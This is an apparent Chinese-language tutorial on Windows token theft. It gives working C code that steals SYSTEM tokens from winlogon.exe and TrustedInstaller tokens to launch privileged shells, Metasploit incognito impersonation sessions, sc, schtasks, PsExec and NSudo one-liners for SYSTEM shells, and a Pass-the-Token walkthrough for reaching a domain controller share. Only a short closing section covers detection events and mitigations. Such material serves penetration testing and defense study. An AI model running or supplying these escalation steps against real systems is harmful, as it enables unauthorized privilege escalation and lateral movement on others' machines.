概述
Windows Token 的窃取与利用、incognito 工具的使用、获取 System 和 TrustedInstaller 权限
相关推荐:
基本概念回顾
Token(访问令牌) 是 Windows 安全模型的核心。每个进程和线程都关联一个 Token,内核在访问对象时用它做权限检查。
两种主要类型:
- Primary Token(主令牌):进程级别,由
CreateProcess系列函数继承或显式指定 - Impersonation Token(模拟令牌):线程级别,用于服务端模拟调用方身份
模拟令牌有四个等级(SECURITY_IMPERSONATION_LEVEL):
| 等级 | 值 | 说明 |
|---|---|---|
| Anonymous | 0 | 无法获取调用方信息 |
| Identification | 1 | 可查询身份,不能模拟 |
| Impersonation | 2 | 本地模拟 |
| Delegation | 3 | 跨网络模拟(需 Kerberos) |
窃取 Token 的本质是:拿到目标进程/线程的 Token 句柄,再用它创建新进程或切换当前线程身份。
Token 窃取原理
所需权限
窃取 Token 依赖两个关键特权,通常需要管理员或 SYSTEM 权限才能开启:
| 特权 | 用途 |
|---|---|
SeDebugPrivilege | 打开任意进程(OpenProcess 不受 DACL 限制) |
SeImpersonatePrivilege | 用窃取到的令牌模拟其他用户 |
SeAssignPrimaryTokenPrivilege | 将令牌设置为进程主令牌 |
服务账户(Network Service、Local Service、IIS AppPool)默认具有
SeImpersonatePrivilege,这是 Potato 系列提权的前提。
核心 API 链
OpenProcess(PROCESS_QUERY_INFORMATION, pid)
→ OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken)
→ DuplicateTokenEx(hToken, ..., TokenImpersonation/TokenPrimary, &hDup)
→ ImpersonateLoggedOnUser(hDup) // 切换当前线程
or
→ CreateProcessWithTokenW(hDup, ...) // 启动新进程手动实现 Token 窃取
枚举进程并窃取指定用户的 Token
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 开启指定特权
BOOL EnablePrivilege(LPCWSTR lpPrivilege) {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
if (!LookupPrivilegeValueW(NULL, lpPrivilege, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ret = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return ret && (GetLastError() == ERROR_SUCCESS);
}
// 从目标 PID 窃取 Token 并模拟
BOOL StealToken(DWORD dwPid) {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProc) return FALSE;
HANDLE hToken = NULL;
if (!OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
CloseHandle(hProc);
return FALSE;
}
HANDLE hDupToken = NULL;
// 复制为模拟令牌
BOOL ok = DuplicateTokenEx(
hToken,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenImpersonation,
&hDupToken
);
CloseHandle(hToken);
CloseHandle(hProc);
if (!ok) return FALSE;
// 切换当前线程身份
ok = ImpersonateLoggedOnUser(hDupToken);
CloseHandle(hDupToken);
return ok;
}
int wmain() {
EnablePrivilege(SE_DEBUG_NAME);
EnablePrivilege(SE_IMPERSONATE_NAME);
// 窃取 winlogon.exe (SYSTEM) 的 Token
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof(pe) };
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
if (StealToken(pe.th32ProcessID)) {
wprintf(L"[+] 模拟成功,PID=%lu\n", pe.th32ProcessID);
// 在此执行需要 SYSTEM 权限的操作...
system("whoami"); // 应输出 nt authority\system
RevertToSelf(); // 恢复原身份
}
break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}用窃取的 Token 启动新进程
ImpersonateLoggedOnUser 只影响当前线程;要 启动一个以目标身份运行的新进程,需要用主令牌:
// 将复制类型改为 TokenPrimary
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hPrimaryToken);
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
// CreateProcessWithTokenW 要求调用方有 SeImpersonatePrivilege
CreateProcessWithTokenW(
hPrimaryToken,
LOGON_WITH_PROFILE,
L"C:\\Windows\\System32\\cmd.exe",
NULL, 0, NULL, NULL, &si, &pi
);注意:
CreateProcessWithTokenW内部经由 Secondary Logon 服务(seclogon),若该服务被禁用则调用失败。替代方案是CreateProcessAsUserW(需要SeAssignPrimaryTokenPrivilege)。
incognito 工具
incognito 是 Metasploit 中集成的 Token 操作模块,也有独立的 Windows 可执行版本。
Metasploit 中使用
# 获得 Meterpreter 会话后加载
meterpreter > load incognito
# 列出所有可用令牌
meterpreter > list_tokens -u
[*] Delegation Tokens Available
========================================
NT AUTHORITY\SYSTEM
WIN-TEST\Administrator
[*] Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK SERVICE
# 模拟 SYSTEM 令牌
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# 返回原始令牌
meterpreter > rev2self独立版本(Windows 命令行)
# 列出令牌
incognito.exe list_tokens -u
# 执行命令(以目标身份)
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exeDelegation vs Impersonation Token 的区别:
- Delegation Token:从交互式登录(本地登录、RDP)产生,可用于跨网络资源访问(Pass-the-Token)
- Impersonation Token:来自网络登录(net use、WMI),不可用于二次网络跳转
获取 SYSTEM 权限
从管理员(High Integrity)提升到 SYSTEM 有多条路径:
方法一:Token 窃取(推荐)
目标:winlogon.exe、lsass.exe、services.exe 等以 SYSTEM 运行的进程。
# PowerShell 一行版(需管理员)
$id = (Get-Process winlogon)[0].Id
$h = [System.Diagnostics.Process]::GetProcessById($id).Handle或者使用 PsExec(Sysinternals):
PsExec.exe -s -i cmd.exe
# -s 以 SYSTEM 运行
# -i 交互式(桌面可见)方法二:创建系统服务
# 注册一个以 LocalSystem 运行的服务
sc create SystemShell binPath= "cmd.exe /c start cmd.exe" type= own start= demand obj= "LocalSystem"
sc start SystemShell
sc delete SystemShell方法三:通过计划任务
schtasks /create /tn "SystemShell" /tr "cmd.exe" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn "SystemShell"
schtasks /delete /tn "SystemShell" /f获取 TrustedInstaller 权限
TrustedInstaller 是 Windows 中权限高于 SYSTEM 的账户,用于保护系统文件(如 C:\Windows\System32 下的核心 DLL)。即使是 SYSTEM 账户也无法直接修改这些文件。
原理
TrustedInstaller 实际上是一个服务账户(SID: S-1-5-80-956008885-...),对应服务 TrustedInstaller(C:\Windows\servicing\TrustedInstaller.exe)。
获取该权限的步骤:
- 先提升到 SYSTEM
- 启动
TrustedInstaller服务 - 窃取该服务进程的 Token
实现代码
#include <windows.h>
#include <stdio.h>
DWORD GetTrustedInstallerPid() {
// 启动服务,获取其 PID
SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
SC_HANDLE hSvc = OpenServiceW(hSCM, L"TrustedInstaller",
SERVICE_START | SERVICE_QUERY_STATUS);
SERVICE_STATUS_PROCESS ssp = {};
DWORD dwBytes = 0;
QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp, sizeof(ssp), &dwBytes);
if (ssp.dwCurrentState != SERVICE_RUNNING) {
StartServiceW(hSvc, 0, NULL);
// 等待服务启动
Sleep(1000);
QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp, sizeof(ssp), &dwBytes);
}
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return ssp.dwProcessId;
}
int wmain() {
// 1. 确保当前是 SYSTEM(先用 Token 窃取提权)
EnablePrivilege(SE_DEBUG_NAME);
// 2. 获取 TrustedInstaller PID
DWORD dwTIPid = GetTrustedInstallerPid();
wprintf(L"[*] TrustedInstaller PID: %lu\n", dwTIPid);
// 3. 窃取 Token
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwTIPid);
HANDLE hToken = NULL;
OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken);
HANDLE hPrimary = NULL;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hPrimary);
// 4. 以 TrustedInstaller 身份启动进程
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
CreateProcessWithTokenW(hPrimary, LOGON_WITH_PROFILE,
L"C:\\Windows\\System32\\cmd.exe",
NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
wprintf(L"[+] TrustedInstaller CMD 已启动\n");
return 0;
}工具化方案
NSudo 封装了上述逻辑,直接 GUI 操作:
# 命令行方式
NSudoLC.exe -U:T -P:E cmd.exe
# -U:T TrustedInstaller 权限
# -P:E 开启所有可用特权Pass-the-Token(令牌传递)
与 Pass-the-Hash 类似,Delegation Token 包含完整的 Kerberos 票据,可用于访问网络资源。
# 在 Meterpreter + incognito 中
meterpreter > list_tokens -u
# 找到域用户的 Delegation Token
meterpreter > impersonate_token "DOMAIN\\DomainAdmin"
# 现在可以访问域内资源
meterpreter > shell
cmd> dir \\DC01\C$防御与检测
关键事件 ID
| 事件 ID | 含义 |
|---|---|
| 4624 | 登录成功(关注 Logon Type 9 - NewCredentials) |
| 4648 | 使用显式凭据的登录尝试 |
| 4672 | 分配了特殊特权(SeDebug、SeImpersonate 等) |
| 4688 | 进程创建(关注父子关系异常) |
| 4703 | Token 权限调整 |
防护措施
- 最小权限原则:服务账户不分配不必要的特权,尤其是
SeDebugPrivilege - Protected Process Light (PPL):lsass.exe 开启 PPL 后无法被普通 SYSTEM 进程打开
- Windows Defender Credential Guard:保护域凭据,阻断 Token 中的票据滥用
- 审计特权使用:开启「审核特权使用」策略,监控 4672/4703 事件
- 禁用 Secondary Logon 服务:阻断
CreateProcessWithTokenW的一条调用路径(影响 runas 等功能)